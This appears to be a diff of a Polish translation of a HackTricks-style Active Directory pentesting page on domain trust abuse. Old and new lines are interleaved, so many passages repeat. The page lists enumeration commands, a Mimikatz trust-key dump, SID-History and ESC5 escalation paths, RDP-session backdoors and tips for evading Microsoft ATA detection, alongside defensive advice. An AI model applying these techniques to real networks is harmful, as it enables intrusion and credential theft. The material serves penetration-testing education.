- **MIT Trusts**: Te zaufania są ustanawiane z nie-Windowsowymi, zgodnymi z [RFC4120](https://tools.ietf.org/html/rfc4120) domenami Kerberos. MIT trusts są bardziej wyspecjalizowane i służą integracji z systemami opartymi na Kerberos poza ekosystemem Windows.
- **Parent-Child Trusts**: Typowa konfiguracja w obrębie tego samego forest, gdzie domena potomna automatycznie ma dwukierunkowe zaufanie przechodnie z domeną nadrzędną. Oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a dzieckiem.
- **Cross-link Trusts**: Nazywane też "shortcut trusts", ustanawiane między domenami potomnymi w celu przyspieszenia procesów referral. W skomplikowanych lasach odniesienia uwierzytelniania zwykle muszą podróżować do root forest, a następnie do docelowej domeny. Tworząc cross-links skraca się tę drogę, co jest korzystne w rozproszonych geograficznie środowiskach.
- **External Trusts**: Ustanawiane między różnymi, niespokrewnionymi domenami i mają charakter non-transitive. Według dokumentacji Microsoft, external trusts są przydatne do dostępu do zasobów w domenie poza bieżącym forest, która nie jest połączona przez forest trust. Bezpieczeństwo jest wzmacniane przez SID filtering z external trusts.
- **Tree-root Trusts**: Zaufania te są automatycznie ustanawiane między root domeną forest a nowo dodanym tree root. Chociaż nie są często spotykane, tree-root trusts są istotne przy dodawaniu nowych drzew domen do lasu, umożliwiając im utrzymanie unikalnej nazwy domeny i zapewniając dwukierunkową przechodniość. Więcej informacji w przewodniku Microsoft.
- **Forest Trusts**: Ten typ zaufania to dwukierunkowe zaufanie przechodnie między dwoma root domenami forest, również egzekwujące SID filtering w celu zwiększenia bezpieczeństwa.
- **MIT Trusts**: Zaufania ustanawiane z nie-Windowsowymi, zgodnymi z [RFC4120](https://tools.ietf.org/html/rfc4120) domenami Kerberos. MIT trusts są bardziej wyspecjalizowane i służą integracji z systemami Kerberos spoza ekosystemu Windows.
#### Other differences in **trusting relationships**
- Relacja zaufania może być również **transitive** (A ufa B, B ufa C, więc A ufa C) lub **non-transitive**.
- Relacja zaufania może być ustawiona jako **bidirectional trust** (oba ufają sobie) lub jako **one-way trust** (tylko jedna ufa drugiej).
- Relacja zaufania może być ustawiona jako **bidirectional trust** (obie ufają sobie nawzajem) lub jako **one-way trust** (tylko jedna ufa drugiej).
### Attack Path
1. **Enumerate** relacje zaufania
2. Sprawdź, czy jakiś **security principal** (user/group/computer) ma **dostęp** do zasobów **drugiej domeny**, być może przez wpisy ACE lub przez bycie w grupach drugiej domeny. Szukaj **relacji pomiędzy domenami** (zaufanie prawdopodobnie zostało utworzone w tym celu).
2. Sprawdź, czy jakiś **security principal** (user/group/computer) ma **dostęp** do zasobów **drugiej domeny**, być może przez wpisy ACE lub przez bycie w grupach drugiej domeny. Szukaj **zależności między domenami** (zaufanie zostało stworzone prawdopodobnie z tego powodu).
1. kerberoast w tym przypadku może być kolejną opcją.
3. **Skompromituj** **konta**, które mogą **pivotować** pomiędzy domenami.
3. **Skompromituj** **kont-a**, które mogą **pivotować** przez domeny.
Atakujący mogą mieć dostęp do zasobów w innej domenie przez trzy główne mechanizmy:
Atakujący mogą uzyskać dostęp do zasobów w innej domenie przez trzy główne mechanizmy:
- **Local Group Membership**: Principal może być dodany do lokalnych grup na maszynach, takich jak grupa “Administrators” na serwerze, dając mu znaczny wpływ na tę maszynę.
- **Foreign Domain Group Membership**: Principale mogą być także członkami grup w domenie obcej. Jednak skuteczność tej metody zależy od natury zaufania i zakresu grupy.
- **Access Control Lists (ACLs)**: Principale mogą być wyspecyfikowani w **ACL**, szczególnie jako byty w **ACEs** w **DACL**, dając im dostęp do konkretnych zasobów. Dla tych, którzy chcą zagłębić się w mechanikę ACLs, DACLs i ACEs, whitepaper zatytułowany “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” jest nieocenionym źródłem.
- **Local Group Membership**: Principalsi mogą być dodani do lokalnych grup na maszynach, takich jak grupa “Administrators” na serwerze, dając im znaczącą kontrolę nad tą maszyną.
- **Foreign Domain Group Membership**: Principals mogą również być członkami grup w domenie zewnętrznej. Jednak skuteczność tej metody zależy od charakteru zaufania i zakresu grupy.
- **Access Control Lists (ACLs)**: Principals mogą być wskazani w **ACL**, szczególnie jako encje w **ACE** w **DACL**, zapewniając im dostęp do konkretnych zasobów. Dla tych, którzy chcą zgłębić mechanikę ACL, DACL i ACE, whitepaper "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" jest nieocenionym źródłem.
### Find external users/groups with permissions
@ -611,7 +613,7 @@ Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
```
### Eskalacja uprawnień Child-to-Parent w forest
### Child-to-Parent forest privilege escalation
```bash
# Fro powerview
Get-DomainTrust
@ -624,7 +626,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
Inne sposoby enumerowania zaufanych domen:
Inne sposoby enumeracji zaufanych domen:
```bash
# Get DCs
nltest /dsgetdc:<DOMAIN>
@ -637,8 +639,8 @@ nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> Istnieją **2 trusted keys**, jeden dla _Child --> Parent_ i drugi dla _Parent_ --> _Child_.\
> Możesz sprawdzić, która jest używana przez bieżącą domenę za pomocą:
> Istnieją **2 trusted keys**, jeden dla _Potomna --> Nadrzędna_ i drugi dla _Nadrzędna --> Potomna_.\
> Możesz sprawdzić, który jest używany przez bieżącą domenę za pomocą:
>
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -647,7 +649,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
#### SID-History Injection
Uzyskaj uprawnienia Enterprise admin w domenie child/parent, nadużywając zaufania przez SID-History injection:
Zwiększ uprawnienia do Enterprise admin w domenie potomnej/nadrzędnej, nadużywając zaufania za pomocą SID-History injection:
{{#ref}}
@ -656,45 +658,45 @@ sid-history-injection.md
#### Exploit writeable Configuration NC
Zrozumienie, w jaki sposób Configuration Naming Context (NC) może być wykorzystany, jest kluczowe. Configuration NC pełni rolę centralnego repozytorium danych konfiguracyjnych w całym forest w środowiskach Active Directory (AD). Dane te są replikowane do każdego Domain Controller (DC) w obrębie forest, a writable DCs utrzymują zapisywalną kopię Configuration NC. Aby to wykorzystać, trzeba mieć **SYSTEM privileges on a DC**, najlepiej na child DC.
Zrozumienie, jak można wykorzystać Configuration Naming Context (NC), jest kluczowe. Configuration NC pełni rolę centralnego repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego Domain Controller (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię Configuration NC. Aby to wykorzystać, trzeba mieć **uprawnienia SYSTEM na DC**, najlepiej na DC w domenie potomnej.
**Link GPO to root DC site**
Kontener Sites w Configuration NC zawiera informacje o site'ach wszystkich komputerów dołączonych do domeny w obrębie AD forest. Mając SYSTEM privileges on any DC, atakujący mogą powiązać GPOs z root DC sites. Ta operacja może potencjalnie skompromitować root domain przez manipulację politykami stosowanymi do tych site'ów.
Kontener Sites w Configuration NC zawiera informacje o site'ach wszystkich komputerów dołączonych do domeny w obrębie lasu AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą powiązać GPO z site'ami root DC. Działanie to może potencjalnie skompromitować root domain poprzez manipulowanie politykami stosowanymi do tych site'ów.
For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
Aby uzyskać więcej informacji, można przejrzeć badania dotyczące [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
**Compromise any gMSA in the forest**
Jako wektor ataku można wymierzyć działania przeciw privileged gMSAs w domenie. KDS Root key, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Mając SYSTEM privileges on any DC, możliwe jest uzyskanie dostępu do KDS Root key i obliczenie haseł dowolnego gMSA w całym forest.
Wejściem ataku jest skierowanie się na uprzywilejowane gMSA w domenie. KDS Root key, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Mając uprawnienia SYSTEM na dowolnym DC, możliwe jest uzyskanie dostępu do KDS Root key i obliczenie haseł dla dowolnego gMSA w całym lesie.
Detailed analysis and step-by-step guidance can be found in:
Szczegółowa analiza i instrukcja krok po kroku dostępne są w:
{{#ref}}
golden-dmsa-gmsa.md
{{#endref}}
Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):
Uzupełniający atak na delegated MSA (BadSuccessor – nadużywanie atrybutów migracji):
{{#ref}}
badsuccessor-dmsa-migration-abuse.md
{{#endref}}
Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
Dodatkowe badania zewnętrzne: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
**Schema change attack**
Ta metoda wymaga cierpliwości i oczekiwania na pojawienie się nowych uprzywilejowanych obiektów AD. Mając SYSTEM privileges, atakujący może zmodyfikować AD Schema, aby przyznać dowolnemu użytkownikowi pełną kontrolę nad wszystkimi klasami. Może to prowadzić do nieautoryzowanego dostępu i przejęcia kontroli nad nowo tworzonymi obiektami AD.
Ta metoda wymaga cierpliwości — oczekiwania na utworzenie nowych uprzywilejowanych obiektów AD. Mając uprawnienia SYSTEM, atakujący może zmodyfikować AD Schema, aby przyznać dowolnemu użytkownikowi pełną kontrolę nad wszystkimi klasami. Może to prowadzić do nieautoryzowanego dostępu i kontroli nad nowo tworzonymi obiektami AD.
Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
Dalszą lekturę znajdziesz w [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
**From DA to EA with ADCS ESC5**
Luka ADCS ESC5 umożliwia przejęcie kontroli nad obiektami Public Key Infrastructure (PKI) w celu utworzenia szablonu certyfikatu, który pozwala uwierzytelniać się jako dowolny użytkownik w obrębie forest. Ponieważ obiekty PKI znajdują się w Configuration NC, skompromitowanie writable child DC umożliwia przeprowadzenie ataków ESC5.
Luka ADCS ESC5 celuje w kontrolę nad obiektami Public Key Infrastructure (PKI), aby stworzyć szablon certyfikatu umożliwiający uwierzytelnianie się jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w Configuration NC, kompromitacja zapisywalnego DC w domenie potomnej pozwala na przeprowadzenie ataków ESC5.
More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
Więcej szczegółów można znaleźć w [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). W scenariuszach bez ADCS atakujący ma możliwość skonfigurowania niezbędnych komponentów, jak opisano w [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### External Forest Domain - One-Way (Inbound) or bidirectional
```bash
@ -707,14 +709,14 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
W tym scenariuszu **twoja domena jest zaufana** przez domenę zewnętrzną, co daje ci **nieokreślone uprawnienia** względem niej. Będziesz musiał znaleźć **które principals twojej domeny mają jakie access wobec domeny zewnętrznej**, a następnie spróbować je wykorzystać:
W tym scenariuszu **twoja domena jest zaufana** przez domenę zewnętrzną, co daje ci **nieokreślone uprawnienia** wobec niej. Musisz ustalić, **które podmioty (principals) twojej domeny mają jakie uprawnienia wobec domeny zewnętrznej**, a następnie spróbować to wykorzystać:
{{#ref}}
external-forest-domain-oneway-inbound.md
{{#endref}}
### Zewnętrzna domena leśna — jednokierunkowa (Outbound)
### Zewnętrzna domena lasu - jednokierunkowa (wychodząca)
```bash
Get-DomainTrust -Domain current.local
@ -726,37 +728,35 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
W tym scenariuszu **twoja domena** **przyznaje zaufanie** pewnym **uprawnieniom** principal z **innych domen**.
Jednak gdy **domena jest zaufana** przez domenę ufającą, domena zaufana **tworzy użytkownika** o **przewidywalnej nazwie**, który jako **hasło używa hasła zaufania**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z domeny ufającej, aby dostać się do domeny zaufanej**, by ją zenumerować i spróbować eskalować dalsze uprawnienia:
W tym scenariuszu **twoja domena** udziela **uprawnień** podmiotowi z **innej domeny**.
Jednak gdy **domena jest zaufana** przez domenę ufającą, domena zaufana **tworzy użytkownika** o **przewidywalnej nazwie**, który jako **hasło** używa **zaufanego hasła**. Co oznacza, że możliwe jest **uzyskanie dostępu do użytkownika z domeny ufającej, aby dostać się do domeny zaufanej** w celu jej zenumerowania i próby eskalacji uprawnień:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
Innym sposobem na skompromitowanie domeny zaufanej jest znalezienie [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnym kierunku** trustu domeny (co nie jest zbyt częste).
Innym sposobem na skompromitowanie domeny zaufanej jest oczekiwanie na maszynie, do której **użytkownik z domeny zaufanej może się zalogować** przez **RDP**. Następnie atakujący mógłby wstrzyknąć kod w proces sesji RDP i **dostępować stamtąd do domeny źródłowej ofiary**.\ Moreover, jeśli **ofiara zamontowała swój dysk twardy**, z procesu **sesji RDP** atakujący mógłby umieścić **backdoors** w **folderze autostartu dysku twardego**. Ta technika nazywa się **RDPInception.**
Innym sposobem przejęcia domeny zaufanej jest znalezienie [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnym kierunku** względem zaufania domeny (co nie jest zbyt częste).
Innym sposobem przejęcia domeny zaufanej jest oczekiwanie na maszynie, do której **użytkownik z domeny zaufanej może się zalogować** przez **RDP**. Następnie atakujący może wstrzyknąć kod do procesu sesji RDP i w ten sposób **dostać się do źródłowej domeny ofiary**. Ponadto, jeśli **ofiara zamontowała swój dysk twardy**, z procesu **sesji RDP** atakujący może umieścić **backdoors** w **folderze autostartu dysku twardego**. Ta technika nazywa się **RDPInception.**
{{#ref}}
rdp-sessions-abuse.md
{{#endref}}
### Zapobieganie nadużyciom związanym z zaufaniem domen
### Łagodzenie nadużyć związanych z zaufaniem domen
### **SID Filtering:**
- Ryzyko ataków wykorzystujących atrybut SID history w obrębie forest trusts jest ograniczane przez SID Filtering, który jest domyślnie aktywowany na wszystkich inter-forest trusts. Działanie to opiera się na założeniu, że intra-forest trusts są bezpieczne, traktując forest, a nie domain, jako granicę bezpieczeństwa zgodnie ze stanowiskiem Microsoftu.
- Jest jednak haczyk: SID filtering może zakłócać działanie aplikacji i dostęp użytkowników, co prowadzi do jego czasowego wyłączenia.
- Ryzyko ataków wykorzystujących atrybut SIDHistory w ramach trustów między lasami jest ograniczone przez SID Filtering, które jest domyślnie aktywowane we wszystkich trustach między lasami. Wynika to z założenia, że trusty wewnątrz lasu są bezpieczne, traktując las, a nie domenę, jako granicę bezpieczeństwa zgodnie ze stanowiskiem Microsoftu.
- Jednak istnieje haczyk: SID filtering może zakłócić działanie aplikacji i dostęp użytkowników, co prowadzi czasem do jego dezaktywacji.
### **Selective Authentication:**
- W przypadku inter-forest trusts zastosowanie Selective Authentication zapewnia, że użytkownicy z obu forestów nie są automatycznie uwierzytelniani. Zamiast tego wymagane są jawne uprawnienia, aby użytkownicy mogli uzyskać dostęp do domen i serwerów w domenie lub forest ufającym.
- Ważne jest, że te środki nie chronią przed wykorzystaniem zapisywalnego Configuration Naming Context (NC) ani atakami na konto zaufania.
- W przypadku trustów między lasami użycie Selective Authentication zapewnia, że użytkownicy z obu lasów nie są automatycznie uwierzytelniani. Zamiast tego wymagane są jawne uprawnienia, aby użytkownicy mogli uzyskać dostęp do domen lub serwerów w domenie lub lesie ufającym.
- Należy zauważyć, że te środki nie chronią przed wykorzystaniem zapisywalnego Configuration Naming Context (NC) ani przed atakami na konto zaufania.
[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
[**Więcej informacji o zaufaniach domen na ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
## AD -> Azure & Azure -> AD
@ -767,36 +767,36 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
## Ogólne środki obronne
[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)
[**Dowiedz się więcej o ochronie poświadczeń tutaj.**](../stealing-credentials/credentials-protections.md)
### **Środki obronne w zakresie ochrony poświadczeń**
- **Domain Admins Restrictions**: Zaleca się, aby Domain Admins mogli logować się wyłącznie do Domain Controllers, unikając ich używania na innych hostach.
- **Service Account Privileges**: Usługi nie powinny być uruchamiane z uprawnieniami Domain Admin (DA) dla zachowania bezpieczeństwa.
- **Temporal Privilege Limitation**: W zadaniach wymagających uprawnień DA czas ich trwania powinien być ograniczony. Można to osiągnąć za pomocą: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Domain Admins Restrictions**: Zaleca się, aby członkom grupy Domain Admins zezwalać jedynie na logowanie się na Domain Controllers, unikając ich używania na innych hostach.
- **Service Account Privileges**: Usługi nie powinny być uruchamiane z uprawnieniami Domain Admin (DA) w celu zachowania bezpieczeństwa.
- **Temporal Privilege Limitation**: W przypadku zadań wymagających uprawnień DA ich czas trwania powinien być ograniczony. Można to osiągnąć za pomocą: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Wdrażanie technik Deception**
- Wdrażanie deception polega na ustawianiu pułapek, takich jak konta-przynęty użytkowników lub komputerów, z cechami takimi jak hasła, które nie wygasają, lub oznaczone jako Trusted for Delegation. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi uprawnieniami lub dodawanie ich do grup o wysokich uprawnieniach.
- Wdrażanie deception polega na ustawianiu pułapek, takich jak decoy users lub komputery, z cechami takimi jak hasła, które nie wygasają, lub oznaczone jako Trusted for Delegation. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach.
- Praktyczny przykład obejmuje użycie narzędzi takich jak: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Więcej o wdrażaniu technik deception można znaleźć na [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
### **Wykrywanie Deception**
- **For User Objects**: Podejrzane wskaźniki obejmują nietypowy ObjectSID, rzadkie logowania, daty tworzenia oraz niski licznik nieudanych prób hasła.
- **General Indicators**: Porównywanie atrybutów potencjalnych obiektów-przynęt z rzeczywistymi może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich deception.
- **Dla obiektów typu User**: Podejrzane wskaźniki to nietypowy ObjectSID, rzadkie logowania, daty utworzenia oraz niski licznik nieudanych prób hasła.
- **Ogólne wskaźniki**: Porównywanie atrybutów potencjalnych decoy objects z autentycznymi może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich deceptions.
### **Omijanie systemów wykrywania**
- **Microsoft ATA Detection Bypass**:
- **User Enumeration**: Unikanie enumeracji sesji na Domain Controllers, aby zapobiec wykryciu przez ATA.
- **Ticket Impersonation**: Wykorzystanie kluczy **aes** przy tworzeniu ticketów pomaga unikać wykrycia przez niezmuszanie downgrade'u do NTLM.
- **DCSync Attacks**: Zaleca się wykonywanie z maszyny niebędącej Domain Controllerem, by uniknąć wykrycia przez ATA, ponieważ bezpośrednie wykonanie na Domain Controllerze wywoła alerty.
- **Ticket Impersonation**: Wykorzystanie kluczy **aes** do tworzenia ticketów pomaga uniknąć wykrycia poprzez nieprzejście na NTLM.
- **DCSync Attacks**: Zaleca się wykonywanie ich z maszyny niebędącej Domain Controllerem, aby uniknąć wykrycia przez ATA, ponieważ bezpośrednie wykonanie na Domain Controller spowoduje alerty.
## Referencje
## Odniesienia
- [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
- [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
- http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
- https://www.labofapenetrationtester.com/2018/10/deploy-deception.html
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain
{{#include ../../banners/hacktricks-training.md}}